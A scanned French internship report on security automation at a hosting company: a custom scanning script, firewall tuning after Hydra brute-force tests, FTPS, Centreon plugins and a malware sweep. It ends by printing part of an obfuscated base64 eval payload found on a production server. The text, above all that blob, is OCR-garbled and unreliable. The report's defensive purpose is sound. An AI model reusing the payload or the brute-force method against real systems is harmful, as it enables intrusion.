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l. Introduction

Les systemes d’informations prennent une place de plus en plus stratégique au sein
des entreprises.

Ainsi la notion du risque lié a ces derniers devient une source d’inquiétude et une
donnée importante a prendre en compte, ceci en partant de la phase de conception
d’'un systéme jusgu’a son implémentation et le suivi de son fonctionnement.

Une des solutions qui permet de répondre a cette problématique est de faire appel a
une entreprise d’infogérance informatique. Cette démarche permet a une entreprise
de confier tout ou une partie de la gestion de ses systémes dinformations a un
prestataire externe spécialisé tel que I'entreprise dans laquelle jai fait mon stage
(ITIKA).

Les avantages qu’apporte cette solution sont nombreux:

« Maintien en conditions opérationnelles de l'infrastructure.
« Accompagnement continu dans I'évolution du systéme d’information

« Conseils en matiere d’optimisations et de sécurité.

C’est tout autant de points que ITIKA devaient valider en plus de I'administration
classique des serveurs. Cependant administrer manuellement un parc aussi grand
que celui d'ITIKA est un exercice fastideux qui demande beacoup de resources,
autant informatiques que humaines ou financieres. Pour palier a cette masse de

serveurs a gérer, ITIKA s’est donc tournée en interne vers lintégration et le
développement d’outils automatisés.

C’est justement dans cette optiqgue la que je suis intervenu en tant gu’assistant
technique en systemes et cybersecurité.

Dans un premier temps, je présenterai I'entreprise, ses différentes activités, ainsi
gue les grandes lignes de mon stage.

Dans un deuxieme temps, je parlerai d'une solution que jai di concgevoir afin de
répondre a la problématique d’automatisation des taches liees a la sécurité des
serveurs infogérés par ITIKA.

Je continuerai en vous présentant les différents outils que j'ai utilisé et mis en place

Enfin, je ferais I'étude de cas d’'une menace que j'ai pu répertorié sur un serveur de
production.
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ll. Présentation de I’entreprise

La société ITIKA a pour vocation de répondre a I'ensemble des problématiques
réseaux et informatiques en s’appuyant exclusivement sur des technologies Libre et
Open Source.

La société a été créé en Avril 2004 par M. Longuet en tant que salarié créateur, le
siege social de I'entreprise était alors a son domicile.

Etant devenue une SAS (Société par Action Simplifiées) et nommée ITIKA-
GROUPE le 1ler mai 2011, elle assure a ce jour les prestations suivantes :

« Administration systéme et infogérance : Spécialiste dans les plateformes de
production Open Source. La société propose la gestion des serveurs d’applications
web et mail.

* Intégration Logiciel Libre : ITIKA propose une gamme variée de briques Open
Source a intégrer dans des infrastructure réseau. Expert dans les briques libres
d’infrastructure (WEB, DATABASE, FICHIER, PROXY, VPN, EMAIL...)

» Développement progiciel : Forte de I'expérience de développements d’outils
meétiers de M. Longuet, la société propose le développement de progiciels sous
forme d’applications web, dédiée au cceur du métier du client.

» Développement web : Spécialiste des solutions WEB Libre, ITIKA est a méme
d’installer, d’héberger, de modifier et personnaliser les applications de type CMS
(Gestion de contenu) pour I'élaboration de sites plaquettes ou simplement de portails
d’information.

« Formation : a [lutilisation des produits fournis aux clients, transferts de
compétences, formations a I'utilisation de logiciels et systéemes Open Source.
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Ill. Solution d'automatisation des audits de
sécurité

Comme présente, ITIKA est une entreprise pourvu d’'un vaste parc de serveur avec
toute les problématiques d’administration mais aussi de sécurité qui en découlent.
C’est pourquoi il a été choisi d’automatiser de nombreuses taches d’administrations
tel que la vérification des charges processeurs, la présence en ligne des serveurs,
la vérifications des mises a jours, etc..

Il manquait cependant des aspects essentiels de la sécurité des systémes, avec
entre autre la recherche de vulnérabilitées ou encore la recherche de rootkits* et
autres malwares* indésirables.

Etant un grand passionné d'intrusion et plus globalement de sécurité informatique,
I'objectif était donc de me faire découvrir I'envers du décors en me faisant concevoir
et déployer si elle complétait les batteries de test, une solution entierement
automatisée de recherche de vulnérabilitées et éventuellement en parallele, de
rechercher des solutions libres afin d’améliorer la protection des serveurs.
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. Premieére version

L’entreprise étant massivement tournée vers le logiciel libre javais donc a ma
disposition un serveur d’audits qui a la particularité d’étre a du parc.

Cette emplacement permet de se mettre au mieux dans la peau d'une personne
malveillante. C’est d’ailleurs dans cette optique la que le choix de systéme
d’exploitation utilisé a été
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lllustration 1: Menu d'application de Kali Linux

Comme on peut le voir Kali Linux possede un important éventail d’outils d’audits de
sécurité, ce qui en fait un des systemes d’exploitation les plus prisé par les pirates
informatiques en tout genre.

Dans un souci d’homogénéité et de confort, j'ai donc installé le méme systéme sur
mon poste de travail. Cela me permettait de plus d’effectuer des tests en local avant
d’envoyer les différentes versions épurées de toute erreur au serveur d’audits.

Cependant avant de me lancer dans le développement de la solution, jai appliqué
les principes de développement qu’on m’avait ddement enseigné a I'lUT a savoir
«think twice, code once» ce qui littérallement veut dire réfléchis deux fois, codes
une fois. C’est ainsi que mes premieres lignes de code ne se sont non pas passés
dans un éditeur de code mais avec un crayon bien taillé et une feuille de papier.
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Aprés avoir longuement interrogé mes réfférants pour cerner au mieux le besoin,
nottament a l'aide de diagrammes fonctionnels, jen ai déduis que je devais me
lancer dans le développemment d'un shell script qui devait avoir trois mode
d’execution:

« Scan rapide pour du «one shot*»
« Scan de moyenne envergure plus orienté web
« Scan de fond complet et détaillé avec éventuellement un rapport structuré

C’est ainsi que j'avais nommé mon script «Blue Eagle» en référance aux couleurs
d’ITIKA mais aussi a I'acuité visuelle tres développé des aigles. La premiere version
gue j'avais montré a mon tuteur comprenait un menu:

lllustration 2: capture d'écran de la toute premiére version de Blue Eagle

Comme on peut le voir au départ I'outils effectuait ses scans a l'aide de :

* Nmap pour le «Small scan» plus précisément un scan de tout les ports ainsi
gue la version du service opérant sur les ports ouverts du serveur cible avec
la génération d’'un rapport au format txt.

* Nikto pour le scan moyen avec la génération d’un rapport au format html.

* OpenVas pour le scan complet avec la génération d’'un rapport en html.
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lll. Version finale

Cependant l'intégration d’'un menu n’était pas tout a fait approriée a I'utilisation du
script dans un environnement automatisé. De plus, Nikto commencait a devenir
obsoléte car s’appuyant sur la base OSVDB* (qui n’existe plus depuis 2016) afin
d’effectuer ses scans. Pour finir OpenVas (qui est préinstallé sur Kali Linux) est un
outils trés puissant mais aussi et surtout trés lourd.

Il fallait donc alléger et épurer mon script. Je connaissais une alternative a Nikto du
nom de w3af car je l'utilisais chez moi. J'ai alors eu I'idée de l'intégrer a la place de
Nikto. W3af possede de nombreux avantages qui font d’ailleurs qu’aujourd’hui je ne
me sers plus trop de Nikto; on peut par example notter le fait qu’il s’appuie sur la
base CVE* ou encore qu’'il permet une tres large personnalisation des scans étant
donné que I'on peut basiqguement tout paramétrer comme on le souhaite.

Aplicativos « Locais « E) Terminal » qui, 14:52 ¢

root@kali: /home/Entropia

Arquivo Editar Ver Pesquisar Terminal Ajuda

lllustration 3: paramétrage de w3af en ligne de commande

C’est ainsi que j'ai défini un profil personnalisé pour les scans en m’appuyant sur la
documentation fournie avec w3af. De la déclaration du user agent au modules
d’audits qui allait étre chargé j'ai fait en sorte avec I'aide de M.Cercy de couvrir au
mieux les infrastructures web utilisées par ITIKA a travers cet outils.

Déboguages apres déboguages, tests apres tests, a corriger ce qui n'allait pas, je
n'étais jamais allé aussi loin avec un script shell. Javais néanmoins I'habitude
d’utiliser des scripts disponibles sur https://github.com/ mais le charactere spécifique
du besoin m’avais obligé a développer une solution propre a ITIKA.
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A la fois simple mais efficace, et surtout automatisable. C’est avec cette image de
simplicité et d’automatisation que j'ai finalement déployé la derniere version de Blue
Eagle sur le serveur d’audit. Cette derniere version a la particularité d’étre nettement
plus aboutie comparé a la toute premiére version.

Parmis les fonctionnalitées qui ont été rajoutées on peut noter :
* L’envoie de mail avec un rapport correspondant a I'intensité du scan choisie.

* Une documentation compléte ainsi qu’'une aide lorsque le programme est
lancé avec avec «-h», «--help» ou méme sans arguments.

 Une meilleure structure au niveau du code: la premiere version ne se
composait que d’'un seul script, pour des raisons de confort et de lisibilité du
code, une structuration en «Model View Controller» a été ainsi adopté. C’est
pourquoi on peut constater, sur l'illustration ci-dessous, une décomposition
dans le dossier lib/ en plusieurs dossier correspondant respectivement aux
fonctions nécéssaires pour les scans complet, moyen et rapide.

lllustration 4: nouvelle structure de code adoptée

Les nouveautées pour le scan moyen sont:
» Un scan beaucoup plus adapté aux infrastructures d’ITIKA.

« La génération d’'un rapport HTML contenant entre autre le code CVE associé
aux vulnérabilitées trouvées ainsi que les correctifs a apporter.

Pour le scan complet:

» L’intégration d’'une vingtaine d’outils de scans totalement autonomes a la
place d’OpenVas qui devient maitenant une option.

« La convergence des résultats en un seul rapport HTML détaillé avec
possibilité de générer un rapport PDF entierement personnalisable (logo de
I'entreprise, couleurs...)

(Voir Annexe 1)
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IV. Déploiement et taches de sécuritées

I. Config Server Firewall

En tant que société de prestation, ITIKA se devait d’avoir une protection réseau
effective, libre, et reconnue.

La solution qui valide au mieux ces criteres tiens en trois lettres: CSF ou Config
Server Firewall.

Comme son nom l'indique, il s'agit d'un pare-feu déployé au niveau des serveurs,
avec un tres long fichier de configuration. Aussi long que précis, ce fichier de
configuration est a comprendre et utiliser dans sa globalité afin de protéger
efficacement le serveur.

Le systeme de vérification de CSF repose sur un systeme de logs de tentatives de
connexions (LFD) et de regex (ou d’expressions régulieres). Une fois qu'une
expression revient trop souvent (ex: «Tentative de connexion incorrecte»), le pare-
feu prend la releve et envoi I'adresse IP incriminée dans un fichier qui fait qu’elle est
bloquée un certains temps avant d’étre réautorisée.

Par défaut un certains nombre de regex sont livrées avec I'outils pour protéger un
certains nombre de services (FTP, SSH, HTTP,...)

M. Longuet a remarqué cependant que les protections par défaut ne fonctionnait
pas pour le FTP alors que le serveur utilisé (proftpd) était tout a fait supporté. Ce
dysfonctionnement a été confirmé par la suite lorsque jai utilisé un célebre outils
pour mener des attaques par brute force (Hydra) afin de tester I'étenchéité des
regles mise en place. Le constat fut sans appel:

Un flot sans fin de tentative de connexions était apparu dans les logs LFD dépassant
ainsi le quotat mis en place.

Il convient de se demander pourquoi la protection n’a pas fonctionner et surtout
comment faire pour quelle fonctionne.

En examinant les logs, je me rend compte qu’il y avait une différence assez nette
entre les brute forces «classiques» et les brutes forces avec Hydra, Ncrack et autre
variantes qui pour le coup n’étaient pas bloqués.
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00:22:21 112.50.37.154
0or22:22 112.90,37.154
0or22:22 112.90,37.154
0or22:22 112.90,37.154

74,.208,.148.99 21 Controlchannelclosed - - 0 0 Oscab#
74.208.148.99 21 Controlchannelopened — - 0 0 48h744
74.208.148.99 21 USER sysadmin 331 0 0 48b74444-538C
74,.208,148.99 71 PAsSS WWW 530 1326 41 48h74444-5320-

Oo:22:23 112.90.37.154 74.208.148.99 21 Controlchannelclosed - - 0 O 48b744
Qo:22:23 112.90.37.154 74.208.148.99 21 Controlchannelopened - - 0 O 505107
Oo:22:24 11..90.37.154 74.208.148.9% 21 USER root 331 0 0 50910789-006d-4dE
0G:22:24 112.90.37.154 74.208.155.142 21 controlchannelopened — - 0 0 8601

09:22:24 112.90.37.154
09:22:24 112.90.37.154

74.208.148.59% 21 pass %% 530 1328 41 5091078%-006d-
74.208.155.142 21 USER admin 331 0 | 860f1lclf-5976e-4

0922024 112.90,37.154 - 74,208,148.599 21 ControlcChannelClaosed - - 0 O 509107
0922024 112.90,37.154 - 74,208,155.142 21 pass %%¥ 530 1326 41 560flclf-o¥ac
0G:22:25 112.90.37,154 L208.148.99 21 Controlchannelopened - - 0 0 a3%acy
Oo:22:25 112.90.37.154 74,208.155.142 21 Controlchannelclosed — - 0 O 8601

74,208.148.99 21 USER rootl 331 O O a39ac7al-f3b3-4(
74,208.148.99 21 pass ®%¥% 530 1326 41 a3%acr7a0-f3bs-

Oo:22:25 112.90.37.154
Oo:22:25 112.90.37.154

0G:22:25 112.90.37.154 74,208.155.142 21 Controlchannelopened — - 0 O 8F24%
0G:22:26 112.90.37.154 74,208.148.99 21 Controlchannelclosed — - 0 0 a3%acy
09:22:26 112.%90.37.154 F4.208.155.142 21 USER adminl 331 0 0 8F248442-89db-
0G:22:26 112.90.37.154 74.208.148.99 21 cControlchannelopened — - 0 0 1h750¢

00:22:26 112.50.37.154
0022026 112.90.37.154

74.208.155.142 21 pass %% 530 1326 41 3f248442-85dk
74.208.148.59% 21 USER root 331 0 0 1h750c07-F5939-47¢

I Y Y Y Y Y Y O T Y N Y Y N B I |
=l
=

QG:22:26 112.90.37.154 74,.208.155.142 21 Controlchannelclosed - - 0 0 8f24&
QC:22:27 112.90.37.154 74,.208,148.99 271 pass %wW 530 1326 41 1b750c07-f930-
0G:22:27 112.90.37.154 74,.208.155.142 21 Controlchannelopened — — 0 0 4833z

lllustration 5: fichier de log d'un brute force classique

En effet, comme on peut le voir sur l'illustration ci-dessus, la routine d’'un brute force
classique est d’ouvrir un canal, de s’authentifier en tant qu'utilisateur type puis de
retenter I'authentification avec un autre utilisateur et ainsi de suite...

09:22:21 112.90.37.15%4 - 74.208.148.99 21 ControlchannelClosed - - O 0 Oecasé
09:22:22 112.90.37.15%4 - 74,208.148.9% 21 controlchannelopened - - 0 0 43k744
09:22:22 112.90.37.15%4 - 74.,208.148.99 21 ControlchannelClosed - - 0 0 Oecasé
09:22:22 112.90.37.15%4 - 74.208.1458.99 21 Controlchannelopened — — 0 0 48b744
09:22:23 112.90.37.15%4 - 74.208.148.99 21 cControlchannelclosed - - O 0 48b744
09:22:23 112.90.37.154 - 74.208.148.9% 21 ControlchannelClosed - - 0 0 0Oecasé
09:22:24 112.90.37.1%4 - 74.208.148.9% 21 Controlchannelopened - - 0 0 48b744
09:22:24 112.90.37.15%4 - 74.208.1585.142 21controlchannelClosed - - 0 0 QOecabé
09:22:24 112.90.37.15%4 - 74.208.148.99 21 Controlchannelopened - - 0 0 48h744

lllustration 6: fichier de log d'une attaque de brute force par Hydra

Les attaques par Hydra quand a elles, génerent ce genre de fichier de logs. On
remarque effectivement que les transactions ne sont pas completes, puisqu’il
mangue les expressions captées par les regex, ce qui explique pourguoi ce genre
d’attaque passait comme une lettre a la poste. Fort heureusement, la politique de
mots de passe étant solide, ce genre d’attaque n’a jamais pu réussir.

Néanmoins, afin de corriger la vulnérabilitée, jai dO implémenter des regles
suplémentaires au niveau de CSF en matiere de nombre de connexions par
tranches de 30 secondes. Si un certains nombre de connexions était franchi,
'addresse IP se retrouvait maintenant bloquée.
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Il. Installation de GreenBone Security Assistant

Le serveur d’audit était d’'une grande utilité pour le développement de Blue Eagle,
cependant la distribution GNU Linux qui était installée dessus devenait un peu
vieille car installé il y a 2 ans.

C’est pourquoi on me chargea aprés avoir réinstaller Kali Linux, de réaliser la post-
installation du serveur d’'audit. Je me devait de respecter un cahier des charges
incluant entre autre I'installation d’'une interface graphique pour OpenVas nommée
Greenbone Security Assistant.

Gr b Security Greenbone 0S 4.0.5

Password:

lllustration 7: écran de login de Greenbone Security Assistant

Comme on peut le voir sur lillustration ci-dessus, il convient de créer au moins un
utilisateur afin de pouvoir utiliser Greenbone Security Assistant. Ce qui se fait
obligatoirement par I'interface CLI* d’'OpenVas.

Une fois I'écran de login passé on comprends tout de suite les avantages apportés
par un tel outil et aussi pourquoi il est nécéssaire de le sécuriser.
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Palo Alto PAN-0S Local privilege escalation (PAN-SA-2016-0012) General lgul;”‘ & ngg‘ e iRE‘”“’”’ 3710 cye-2016-1712 O . 97%
Palo Alto PAN-0S OpenSSH vulnerabilities (PAN-SA-2016-0011) General lgtl‘;“‘ i ;'gfg‘ i b 3‘7’%20“’0777 SN0 . o
vApply to page conten... ¥ 1)
(Applied filter: sort-re creatad rows=10 first=1) Ll Bl 1 - 10 of 28505 lmdl bl

Illustration 8: écran principal de Greenbone

C’est pourquoi il m'a aussi été confié de rendre le serveur d’audit beaucoup plus
résistant a une éventuelle intrusion. J'ai ainsi changé drastiquement la politique
utilisateur de Kali Linux étant donné que cette distribution a la facheuse habitude de
créer comme seule compte utilisateur un compte de type root* et d’autoriser les
connexions SSH* sur cet utilisateur.

J'applique alors une politigue beaucoup plus proche de celle de Debian, a savoir la
création d’'un utilisateur non root ainsi que la désactivation du login SSH par mot de
passe.
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lll. Implémentation de FTPS

La sécurité est a I'image d’'un mur, si les briques élémentaires ne sont pas solides
alors le mur n’est pas solide et ce, méme si le reste du mur est particulierement
protége.

C’est pourquoi le réseau ne déroge pas a la régle en matiere de sécurité. Plus
précisément le FTP étant donné qu’il est l'acces privilégié des clients qui se
connectent a leur hébergements web. Cependant le FTP transporte nativement les
informations en clair comme on peut le voir sur l'illustration ci-dessous.

K VI Rew 2 . =[]
File Edit View Go Cpture Analyze Stati Telephony Tools Intemals Help
ues DEXEE AesRTF R QAR FEME|H
Filter: E Expression.. Clear Apply
No. Time Source Destination Protocol  Length  Info
3 0.764644 10.133.0.42 10.133.255. 255 NBNS 92 Name query NB ISATAP<00>
4 0.771566 182.55.0.13 10.133.0.42 ICMP 70 pestination unreachable (Host unreachable) F
5 4.822130 10.133.0.42 70.38.113.158 TCP 66 49171 > ftp [5YN] Seg=0 Win=8192 Len=0 M55=1460 WS=1 SACK_PERM=1
6 4.823587 70.38.113.158 10.133.0.42 TCP 66 ftp > 49171 [sYN, ACK] Seq=0 Ack=l wWin=5840 Len=0 M55=1386 SACK_PERM=1 Ws=1
7 4.823652 10.133.0.42 70.38.113.158 TCP 54 49171 > ftp [ACK] seg=1 Ack=1l win=8192 Len=0
8 5.907042 70.38.113.158 10.133.0.42 FTP 375 Response: 220----—-———-—— welcome to pure-FTPd [privsep] [TLS] ———-----—-
9 6.115250 10.133.0.42 70.38.113.158 TCP 54 49171 > ftp [ACK] Seq=1 Ack=322 Win=7871 Len=0
10 6.243174 10.133.0.67 10.133.255.255 DB-LSP-I 195 Dropbox LAN sync Discovery Protocol
11 &6.380685 feB0::51c9:6c19:c274:¢Ff02::1:2 DHCPVE 149 solicit XID: 0x23f61f CID: 00010001166b43e10025b35d76ca
12 11.878068 10.133.0.42 70.38.113.158 FTP 70 Request: USER jetweelim 4
13 11.880058 70.38.113.158 10.133.0.42 TCP 60 ftp > 49171 [ACK] 5eg=322 Ack=17 win=5840 Len=0 3
14 12.171005 70.38.113.158 10.133.0.42 FTP 96 Response: 331 user jetweelim OK. Password reguired
1512.370811 10.133.0.42 70.38.113.158 TCP 54 49171 > ftp [ACK] seq=17 Ack=364 win=7829 Len=0
16 15.928279 10.133.0.42 10.133.255. 255 BROWSER 250 pomain/workgroup Announcement WORKGROUP, NT workstation, pomain Enum
17 15.935333 1B82.55.0.13 10.133.0.42 ICMP 70 pestination unreachable (Host unreachable)
LB 17.962478 10.133.0.42 0. 18.113. 158 71 Request: PASS Mmypassword
19 17.964894 70.38 3.158 10.133.0.42 TCP 60 ftp > 49171 [ACK] =364 Ack=34 Win=5840 Len=0
20 18.287003 70.38.113.158 10.133.0.42 FTP 87 Response: 530 Login authentication failed
21 18.501620 10.133.0.42 70.38.113.158 TCP 54 49171 > ftp [ACK] seq=34 Ack=397 win=7796 Len=0 L
22 22.386157 feB0::51c9:6c19:c274:¢ff02::1:2 DHCPVE 149 solicit xIp: Ox23f6lf CID: 00010001166b43e10025b35d76¢ca

o I 3
& Internet Protocol Version 4, Src: 10.133.0.42 (10.133.0.42), Dst: /0.38.113.158 (/0.38.113.158)
# Transmission Control Protocol, Src Port: 49171 (49171), bDst Port: ftp (21), seq: 17, ack: 364, Len: 17
= File Transfer Protocol (FTP)
= PASS mypassword'rin
Request command: PASS
Request arg: mypassword

(g s

0000 00 09 OF Oc 1f 02 00 le 65 44 10 64 08 00 45 00
0010 00 39 01 1b 40 00 80 06 37 31 Oa 85 00 2a 46 26
0020 71 9e €0 13 00 15 2c 8a ae f7 18 ef 72 d2 50 18
0030 L 95 b7 6a 00 00 50 41 53 53 20 [NENEANINE
7 [Z] od 0a

@/ Request arg (ftp.requestarg), 10 bytes | Packets: 22 Displayed: 22 Marked: 0 Dropped: 0 | Profile: Default
lllustration 9: capture wireshark d'une transaction FTP

Une parade a cette importante faille de sécurité est nottament I'implémentation du
FTPS ou du FTP over SSL (ou TLS) a l'image de HTTP avec HTTPS.

On m’a donc confié un serveur sous Debian 9 afin que je puisse implémenter cette
fonctionnalité au sein d’'un serveur proftpd.

J'ai été surpris de constater au cours de mes tests que bien que cette fonctionnalitée
ne soit pas si jeune que c¢a (RFC enregistré en 2005) beaucoup de clients de
connexion ne I'implémentais pas encore ou I'implémentais trés mal.

Ce retard se constate dans les fichiers de configuration par I'existance de deux
modes de transaction:

« Implicite: Il s’agit de commencer a négocier avec FTPS et de retourner a FTP
si le client n’est pas prét pour FTPS

« Explicite: Il s'agit cette fois-ci de ne négocier qu’en FTPS (tout ou rien).
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Cette exercice m'a permis de comprendre quelque chose d’essentiel nottament le
fait que la sécurité ne peut aller dans un sens et que clients comme serveurs doivent
ajouter leur brique a I'édifice.

V. Solution d'automatisation de taches
d'administration

Lorsqu'’il s’agit de supervision et d’automatisation mes souvenirs se tournent vers
Nagios, un outils de supervision libre qui permet de déployer des sondes sur un
parc d’ordinateur afin de receuillir et centraliser les données sur un serveur de
supervision.

Au cours de ce stage, je n'ai cependant pas manipulé Nagios mais une variante:
Centreon

Les présentations étant faites, je devais trouver une solution de mise a jour pour des
serveurs de tests dans un premier temps puis si la solution fonctionnait, de déployer
cette solution sur plusieurs serveurs de production.

I. Check apt

Apres de longues recherches en lignes nottament, sur les sites de Nagios et de
Centreon deux solutions attirent mon attention. Il ne s’agit pas moins pour la
premiere du plugin officiel Nagios pour vérifier les mises a jours via APT*. La
deuxieme solution est elle aussi un plugin mais développé cette fois-ci par
I'Université de Barcelone.

La liaison des sondes devait se faire en SNMP car peu gourmand en resources et
assez simple a implémenter. Ces plugins n’était cependant pas tres pratique a
manipuler avec SNMP, les alertes ne s’affichait pas lorsque je spécifais un seuil
critique précis, les résultats importants étaient parfois ommis au détriment d’un
« SNMP OK ».
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€ centreon

Home  Monltoring  Reporting  Configuration  Administration

Swhis Detalls Peformancés Downlimes  Ewedl Logs

stgroup Output

Haosts ~ Sorvicas Status Duratian Last Check Tries: Status information

P o ] A0 S3s 1B 22015 224127 1/ (H) Disk OK -/ TOTAL: 3.352GE USED: 2 0B0GE (B1%) FREE: 1.290G8 (30%)

P T o ] 32m és 1611202015 224012 13MH) Load ge: 0.00, 002, 0.05.

Mamary PR o ] IIm2ie 16122015 223857 13 (H)  Total memary used | 31% ram used : D8%, ewap used 2%

Check AFT I ] 34m 385 VBN22015 22:37:42 VA(H) SN oK

lllustration 10: écran de supervision de centréon ( en derniére ligne on peut voir l'affichage incorrect)

Apres de multiples tentatives, je me suis donc lancé dans le développement d’'un
plugin en shell script entierement fait maison. La MIB* SNMP avait au préalablement
été étendue afin de permettre I'éxecution d’un tel script a distance.

Le plugin ainsi écrit se composait de trois commandes, I'une pour créer un fichier
temporaire afin de récupérer le résultat de la commande «~# sudo apt upgrade -s»

Ce qui a pour effet de récupérer la liste de tout paguet a mettre a jour. On recherche
ensuite le nombre d’'une occurrence sur deux du méme paquet (car les paquets sont
présents deux fois) lorsqu’il provient des dépots sécurité et de méme lorsqu’il vient
des dépots stable. Enfin on récupere le nombre de paquet total a mettre a jour. Pour
finir, on retourne a 'aide de la fonction «echo» les trois valeur numériques.

Le niveau de criticité est ainsi géré directement via centreon ce qui permet plus de
souplesse que les précédents plugins.

Pour finir le script est trés court et demande tres peu resources en comparaison aux
autres plugins qui était en perl et qui ajoutais une tache cron afin de mettre a jour,
tout les jours le cache APT, ce qui nest pas forcément utile a ITIKA puisque cette
tache était déja gérée par un outils d’automation.
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Il. Check restart

Les mises a jours était rapportée, les tests étaient concluant et les serveurs pouvait
étre mis a jour immeédiatement lorsque la barriere critique était passée. Il manquait
cependant une derniére chose : comment savoir lorsqu’un serveur mis a jour avait
besoin de redémarrer ?

Apres un bref tour en ligne je constate que les outils permettant une telle vérification
ne sont pas trés courant, et pourtant il s’agit d’'une vérification importante: en effet si
un programme a besoin de redémmarer le systeme il peut s’agir d’'une mise a jour
noyau. Mes recherches en ligne m’ont néanmoins conduit a la documentation
officielle.

En effet une solution afin de répondre a ce probléme était de nouveau de développer
un plugin toujours en shell script pour controler la création d’'un fichier dans le
répertoire /var/run/ du nom de reboot-required.pkgs

Je n’ai malheureusement pas pu tester le script dans le cas d’'une mise a jour noyau.
En revanche, son fonctionnement a bien été testé en simulant une mise a jour noyau
en créant ce fichier a l'aide d'une commande systéme permettant de simuler un
redémarrage requis.
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VL. Etude de cas d’une menace présente sur un
serveur

La cybersécurité est un éternel combat entre administrateurs et pirates.
Chacun a ses armes, chacun a ses atouts mais il s’agit avant tout d’'un combat
d’information.

C’est dans cette optique la que jai été ravi d'effectuer un rapport complet sur la
sécurité d’'un serveur en production. Pour effectuer cet analyse, j'ai utilisé ClamAV
un antivirus multi plateforme sous licence GNU* dévelopé par Cisco Systems®.
Les bases virales de ClamAV bien que trés fournies, ne permettent pas d’avoir un
niveau de détection optimal tout en minimisant au maximum la détection de faux
positifs. C’est pourquoi je les ai enrichies de bases virales additionnelles fournies par
le site https://malware.expert/; aprés quoi j'ai lancé un scan du répertoire de la racine
de chague site hébergé sur le serveur.

Aprés un certain temps d’analyse je récupere les résultats:
171 fichiers infectés sont a recenser. Il s'agissait a 63% de scripts obfusqués*

Y
"ZXZhbChiYXNINjRfZGVib2R1KCIaWFpoYkNoaV1YTmx0allmWkdwWamIyUmxLQOphVeZwb11lrTmohVmxZVG14T2FsSm1Xa2RXYW1leVVteEXRMHBFWWxaYUSWa3 INRFZsVm1kNLUyMTRhbEo2YKRWYVIXUnpaR1p3T1ZvelpF
eFdTRTVNVVRIeGMyS1ZiRVIhTWloaF1teGFNVMRVVGx0alIwbDVUbGRhWYZKSGFIZFplazVUWLdOMFIGTNRSbFZXUmxwNFZGY zFSbVFSVFhsaF J6R1pUVEILZDF reU1EVmLiviwlWXpKc1RGVX 1 kek5STWpGaFRWZE tkR1IxU
W1loV2Vtd3hVMVZhZDFSck5WaGINMnhxVmtWS05sbFZaROZhY LU1SY1 raHNhVTF@VWpKWLdHeHVZMGRXTTIOSWIHRLhSa2w@V1R1de1Gb3hj SFITYms 1cVRXeFZNMUVSTKhKVE1FNTBWMNBHYVAKVKSIZFpWbUOxWkZWc 1IxWn
VWbWxOVkdaeVYyeGtUMLIzYOVoV1Z6bEXVbXMWZDF rel1YTmtWbkExWVRCMGIHUXTPYZVUV1U1Q1dqQndSMY IxUWlwaVYzZ3hWM]j VzUWs5VmIFaFR1V2hxVFd4VmViWUnIXVFZoTVhCWVZHNWFZVk14Vm5aVGExc FBUVWRPZEd
KSVZtRmxWM@16VVRKC1Fsb3diRVISV]NSV1RXdGFLbHBGVVhkaFZuQK LWRLIHYWxKSGVISLdSRTVEVVRGCASWT LVaRVIoV1VadVUxVKkORbUVAV LhwVmlteFZVakZhTVZOVIVYZGFNazE2V1c1c2FWSXhXakZUTUUIVFZrZFNT
Vk51UW1saVYwNTNWRES rZGxvd2IFULIWMLIMVW1 zMWMxa3hUa0pQV1d4RVUyd FdWV1pXV25SVWIGWNZXVMRTV j FGAWFFcGhiazVNVTFWT1Fsb3diRVIWYTJoYVZucEdNRMRXVGtKUFZXeEVVMWRZVUdReUIXNVRWVTVDV2pKU
mVXRKLRBWXTTVZadVV6QmIUMDFIVG5SbFIzaHBZVmMRrY2xWcVNrZGtSMHBZViWxoQ 1IVWRXhThFZhUldoTFZGWndXRTVIUWtSaF ZVWnVVMVZPUTAGd 1IRUQLIWMLILVVRCR2IsT1ZUa@phTUhCSFZHMTRhbFV3UTRWYFZXaERZVY
pyZVdNeU9VcGhNbVIOVTFkc@5HVNRSa2hTVedoTVVURKt TVmRXWTNoall teFVUa2QwVmsxc1dqulvsMnhuvmtac 1dHVkVRa3hWTWSNelVUSNNRbG23YkVSULYyUktVVEIHYmx0c1ZtdGhSMHBZVFZkb1RXRnFSalphUmlSTFp
XMYNTVKSYT1VOU2FEVNpXVEZPTTIRA2VFVmFNMEpRWKRINWI sTLZUaBphTWxwU11q0Qj BTbEV3UmMO1VFZXaExZa2RTU1ZadWIHbGhWVVpSYmXST1UyVLhShGhPYnpWW1 1WWk tTVmRXWTNoall teFZZekIwY 1 ZWWE9VeFhiVFZY
WkZacmVsVnVRbWxOYWxKdVYycEtWMDFHW] NwVmIWcGhVako@TLZKRVNYaGhSMDE2VKZ jNVRGVXATVESSTW1SM1kwnd jRKZYT1dGaW]Gb3hWMY JPVTIOSFNYbEIWMXBoV ] Bkb2QxbDZUDESSYTNSRVUyNXdiRMRGT LcXWGFrc
FhUVVpuZWxWdGVHbFhSVXBOV]J0a2MyV1ZiSEJoTTBKS 1UwaEQURKSWVGtKYU1HeE1Za2N4U2x FeWFFSTpWbWhQV20xUmVs TnVRbXRTTVZwd 1Y xY3hORBpGZEVsVWF sWnFUV1]zZFZkc2FGTmFiVkpIVmB1U2FsSnFiSEpavm
1051190 BWROVEUWtWVFNFNXVVMNRvUzJKSFRYaGtSMUpLVWt502J5a3 INVmRoU j BwS LVXMWOhMULSWkhaWmV rNXpaV3huZVZwSGVHdFNhbXQzVj J4amVHUXhaM2ZxWYmtKcVIWZG T kMUL4VWSWYULSscFNZMFIzUKdGYLItNVR
WYTVEWTBad2NGRLhPYXBXTVZvd1dUQmIVMDVWZEVSVmIWCFRWbFIXVBZZem] FdFdWbEpYVVZke 1dWVX1kRzVUY1d4YVdgRkdTROpIYOZsTk1sSTFXVIpvVTIKR21GaFRiazVoV1RKbBSWZHNaRWRGTWs 1SVVEcENhRKVSWKhK
WFIFSLhWREZhYzINeW]GZFNWRVPTVTFKM2QyTkZkR1JoTW1Sc1pWVkdjbGt5TVZKbGIHT jRUVWRrVVZVd NGV LhiR1IIWXpKTINGSNFREWhSTW1SeVYwUKNWMYF4V250ak1teFhVbFJHVWX0WGQzZGpSVGs xVWdwc 1JHR1ZSh
TVUVLULRFkwind jRZYT1VwV0 1Wb3dXVEIWVTAIVMRFULZiVNBUVMX SV1dGWXpiRXRXVmxKWFVXdFdWRpyYkhCWFI rNx1XakJ3Y0ZkWFpGSINNbmcyV jBST2EyV1hSbGxWYLhoYVZqQnd1bGRzVGOSbFZugL1lVbTVPYWxJd1
